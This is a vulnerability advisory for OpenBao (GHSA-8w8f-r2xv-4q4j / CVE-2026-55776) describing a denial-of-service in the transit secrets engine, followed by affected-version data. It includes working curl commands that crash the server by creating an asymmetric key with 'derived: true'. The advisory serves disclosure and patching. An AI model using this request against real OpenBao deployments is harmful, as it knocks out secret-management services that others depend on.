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OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types

Type: advisorySource: OSV1 source record

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) com

Announced Source revision 1
Original source ↗

GHSA-8w8f-r2xv-4q4j

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:GHSA-8w8f-r2xv-4q4j

github.com/openbao/openbao

Source reference: /affected/0/package/name

Affected versions
Not stated in this record
Fixed versions
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Prerequisites
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github.com/openbao/openbao

Source reference: /affected/1/package/name

Affected versions
Not stated in this record
Fixed versions
0.0.0-20260617104123-db57c62602b2

Source reference: /affected/1/ranges

Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "ranges": [
      {
        "type": "SEMVER",
        "events": [
          {
            "introduced": "0.1.0"
          },
          {
            "last_affected": "2.5.4"
          }
        ]
      }
    ],
    "package": {
      "name": "github.com/openbao/openbao",
      "purl": "pkg:golang/github.com/openbao/openbao",
      "ecosystem": "Go"
    },
    "database_specific": {
      "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8w8f-r2xv-4q4j/GHSA-8w8f-r2xv-4q4j.json"
    }
  },
  {
    "ranges": [
      {
        "type": "SEMVER",
        "events": [
          {
            "introduced": "0"
          },
          {
            "fixed": "0.0.0-20260617104123-db57c62602b2"
          }
        ]
      }
    ],
    "package": {
      "name": "github.com/openbao/openbao",
      "purl": "pkg:golang/github.com/openbao/openbao",
      "ecosystem": "Go"
    },
    "database_specific": {
      "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8w8f-r2xv-4q4j/GHSA-8w8f-r2xv-4q4j.json"
    }
  }
]
Related CVEs
CVE-2026-55776

Source reference: /aliases

Publisher severity

No explicit severity was provided.

Linked CVE context

These ratings describe the referenced vulnerabilities and products. They are not a severity rating for every application using this dependency.

CVE-2026-55776 · Medium

openbao

Event
#15273 · Revision 1
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